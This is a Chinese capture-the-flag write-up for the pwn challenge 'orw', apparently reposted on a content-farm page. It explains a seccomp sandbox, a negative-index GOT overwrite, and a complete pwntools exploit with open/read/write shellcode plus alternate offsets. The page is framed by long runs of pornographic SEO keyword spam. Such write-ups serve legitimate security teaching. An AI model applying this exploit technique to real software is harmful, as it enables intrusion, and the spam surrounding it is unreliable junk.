日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

PWN题[强网先锋]orw超详细讲解(多解法)

發布時間:2024/9/27 编程问答 23 豆豆
生活随笔 收集整理的這篇文章主要介紹了 PWN题[强网先锋]orw超详细讲解(多解法) 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

知識點

構造一段shellcode的作用就是為了在緩沖區溢出時將shellcode的地址覆蓋正常的返回地址。

\x00 截斷符 shellcode里出現\x00就會從其截斷,所以構造shellcode的時候要避免\x00

x64函數調用規則
x64機器在調用某個函數前,比如int func(int a, int b, int c, int d, int e, int f, int g, int h),首先他會把前6個參數從左往右存入到寄存器rdi、rsi、rdx、rcx、r8、r9,其余參數存入到棧里,保存的順序是從右往左入棧。比如abcdef會存入到寄存器里,然后一次入棧h、g。
保存完參數之后再把函數后面一條指令的地址入棧保存。

解題流程

查看文件類型:

查看保護機制:

因為不是FULL RELRO所以就考慮改got表為shellcode地址

IDA64位打開
Main查看偽碼:

查看子程序

seccomp_init(0LL);
seccomp_rule_add(v1, 2147418112LL, 2LL, 0LL);
做pwn,用seccomp做沙箱保護很常見。有時候seccomp后面會跟一個結構體
seccomp是一類內核里的安全機制,正常情況下,程序可以使用所有的syscall,這是不安全的,比如劫持程序流后通過execve的syscall來getshell.通過seccomp我們可以在程序里禁用掉某些syscall,這樣就算劫持了程序流也只能調用部分的syscall了。
seccomp(全稱securecomputing mode)是linuxkernel從2.6.23版本開始所支持的一類安全機制。
在Linux系統里,大量的系統調用(systemcall)直接暴露給用戶態程序。但是,并不是所有的系統調用都被需要,而且不安全的代碼濫用系統調用會對系統造成安全威脅。通過seccomp,我們限制程序使用某些系統調用,這樣可以減少系統的暴露面,同時是程序進入一類“安全”的狀態。



數字后面有u,uL,uLL:
u代表unsigned,默認為unsigned int
uL代表unsigned long
數字文字的ULL后綴uLL為unsigned long long int,令類型為整數常量unsigned long long int,添加后綴ULL到整數。

1.add

注意:
*((_QWORD *)&unk_2020E0 + v1)即unk_2020E0[v1]

2.show

3.edit

4.delete

釋放分配的內存

漏洞分析


sub_BCA里發現開了沙箱。
先將libseccomp.so.0文件路徑添加到環境變量里
Export LD_LIBRARY_PATH=’/home/kali/Desktop’
再ldd鏈接

限制了只能使用open,read,write

在add里

令index下標為負數時可以覆蓋到其他函數的got表地址

具體解決

下面介紹三個解決方案:

方法一

這里選覆蓋掉exit的got表里的地址,因為沙盒的存在,所以需要構造orw的shellcode并覆蓋exit的got地址為shellcode


exit位置在unk_2020E0位置的上面
相差偏移量:E0-78=0x68=104,再除以8=13,即向上偏移13可覆蓋exit的地址

exp腳本如下:

from pwn import *p=process('./pwn') #p = remote("39.105.131.68","12354") elf=ELF('./pwn') context(os='linux',arch='amd64')shellcode='''xor rax, rax #xor rax,rax是對rax的清零運算操作xor rdi, rdi #清空rdi寄存器的值xor rsi, rsi #清空rsi寄存器的值xor rdx, rdxmov rax, 2 #open調用號為2mov rdi, 0x67616c662f2e #為galf/.為./flag的相反 0x67616c662f2e為/flag的ASCII碼的十六進制push rdimov rdi, rspsyscall #系統調用前,linux在eax寄存器里寫入子功能號,斷止處理程序根據eax寄存器的值來判斷用戶進程申請哪類系統調用。mov rdx, 0x100 #sys_read(3,file,0x100)mov rsi, rdimov rdi, raxmov rax, 0 #read調用號為0,0為文件描述符,即外部輸入,例如鍵盤syscallmov rdi, 1 #sys_write(1,file,0x30)mov rax, 1 #write調用號為1,1為文件描述符,指的是屏幕syscall ''' p.recv() p.sendline('1') p.recvuntil('index:') p.sendline('-13') p.recvuntil('size:') p.sendline('0') p.recvuntil('content:') p.sendline(asm(shellcode)) #asm可以對匯編代碼進行匯編 #gdb.attach(p) p.sendline('5')p.interactive()

flag值為:flag{151a5154-orw1-easy-1234-99bdsa23c7ds}

方法二

覆蓋掉free的got表里的地址,將上面的腳本的偏移-13改為-25即可

方法三

覆蓋掉atoi的got表里的地址,將上面的腳本的偏移-13改為-14即可

方法四

覆蓋掉puts的got表里的地址,將上面的腳本的偏移-13改為-22即可

總結

以上是生活随笔為你收集整理的PWN题[强网先锋]orw超详细讲解(多解法)的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。

主站蜘蛛池模板: 日韩三级免费观看 | 公车乳尖揉捏酥软呻吟 | 浮生影视在线观看免费 | 成人3d动漫一区二区三区91 | 国产黄色三级网站 | 国产婷婷色一区二区在线观看 | 免费黄色小视频网站 | 天海翼一区二区 | www.色综合.com | 香蕉视频ap | 色性网站 | 欧美在线视频你懂的 | 日韩精品久久久久久久电影99爱 | 91高清免费视频 | 日产电影一区二区三区 | 亚洲乱码一区 | 五月天久久| 色婷婷在线影院 | 欧美日韩不卡在线 | 国产交换配乱淫视频免费 | 69xx国产| 97国产视频| 午夜寂寞视频 | 国产成人av免费观看 | 国产精品一二三区在线观看 | 麻豆av一区二区 | av鲁丝一区鲁丝二区鲁丝三区 | 欧美极品少妇xxxxⅹ免费视频 | 成人欧美一区二区三区黑人免费 | 色九九九| 婷婷午夜精品久久久久久性色av | 成人妇女淫片aaaa视频 | 国产乡下妇女做爰毛片 | 亚洲欧洲久久久 | 原创少妇半推半就88av | 成人3d动漫一区二区三区91 | 电影桑叶2在线播放完整版 222aaa | 免费在线观看av片 | 亚洲激情视频一区 | 欧美无马| 国产精品1页 | 嫩草影院在线视频 | 亚洲色图36p | 天天爽夜夜爽一区二区三区 | 9久久精品| 久久精品电影 | 精品人体无码一区二区三区 | 一个人看的www日本高清视频 | 久久91视频| 国产精品第八页 | ts人妖另类精品视频系列 | 欧美日韩一区二区久久 | 国产午夜精品久久 | 欧美91在线| 有码在线视频 | 一级片大片 | 亚洲av综合一区二区 | 精品国产综合区久久久久久 | 人妻va精品va欧美va | 在线麻豆| 交hdsexvideos娇小 | 天天爽夜夜爽一区二区三区 | 五月天国产视频 | 国产亚洲精品成人 | 玉米地疯狂的吸允她的奶视频 | 久久一区二区三区四区五区 | 亚洲啪av永久无码精品放毛片 | 日本h漫在线观看 | 福利精品视频 | 性生交大片免费看视频 | www.亚洲成人 | 韩日免费av| 一级α片免费看刺激高潮视频 | 正在播放国产精品 | 久久久久看片 | 成人少妇影院yyyy | 亚洲第一黄色网 | 男人的天堂免费 | 91av入口| 色黄网站在线观看 | 99精品视频在线播放免费 | 久久精品大片 | 又紧又大又爽精品一区二区 | 91成人免费在线观看 | 午夜视频免费观看 | 激情福利| 在线看片你懂的 | 久久人人做| 91国内精品视频 | 欧美绿帽合集xxxxx | 亚洲精品少妇久久久久久 | 毛片无遮挡 | 亚洲无人区码一码二码三码的含义 | 欧美日韩在线观看视频 | 庆余年三| 亚洲午夜不卡 | 国产成人在线视频免费观看 | 夜夜春影院| 欧美不卡在线观看 |